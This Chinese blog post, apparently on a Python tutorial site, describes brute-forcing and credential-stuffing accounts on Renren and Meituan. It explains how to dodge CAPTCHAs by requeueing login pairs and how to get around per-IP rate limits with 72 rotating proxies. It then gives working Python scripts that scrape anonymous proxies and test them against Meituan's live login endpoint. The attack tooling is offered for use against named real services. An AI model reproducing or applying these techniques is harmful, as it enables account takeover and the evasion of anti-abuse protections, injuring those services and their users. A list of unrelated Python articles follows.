批量获取及验证HTTP代理的Python脚本

yipeiwu_com6年前Python基础

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()

相关文章

python随机数分布random均匀分布实例

python随机数分布random均匀分布实例

因为概率问题,所以需要测试一下python的随机数分布。到底是平均(均匀)分布,还是正态(高斯)分布。 测试代码如下: #! /usr/bin/env python #coding=...

python使用threading获取线程函数返回值的实现方法

threading用于提供线程相关的操作,线程是应用程序中工作的最小单元。python当前版本的多线程库没有实现优先级、线程组,线程也不能被停止、暂停、恢复、中断。 threading模...

python中map、any、all函数用法分析

本文实例讲述了python中map、any、all函数用法。分享给大家供大家参考。具体分析如下: 最近想学python,就一直比较关注python,昨天在python吧看到有个帖子提问怎...

Python中的字符串查找操作方法总结

基本的字符串位置查找方法 Python 查找字符串使用 变量.find("要查找的内容"[,开始位置,结束位置]),开始位置和结束位置,表示要查找的范围,为空则表示查找所有。查找到后会返...

pandas 中对特征进行硬编码和onehot编码的实现

pandas 中对特征进行硬编码和onehot编码的实现

首先介绍两种编码方式硬编码和onehot编码,在模型训练所需要数据中,特征要么为连续,要么为离散特征,对于那些值为非数字的离散特征,我们要么对他们进行硬编码,要么进行onehot编码,转...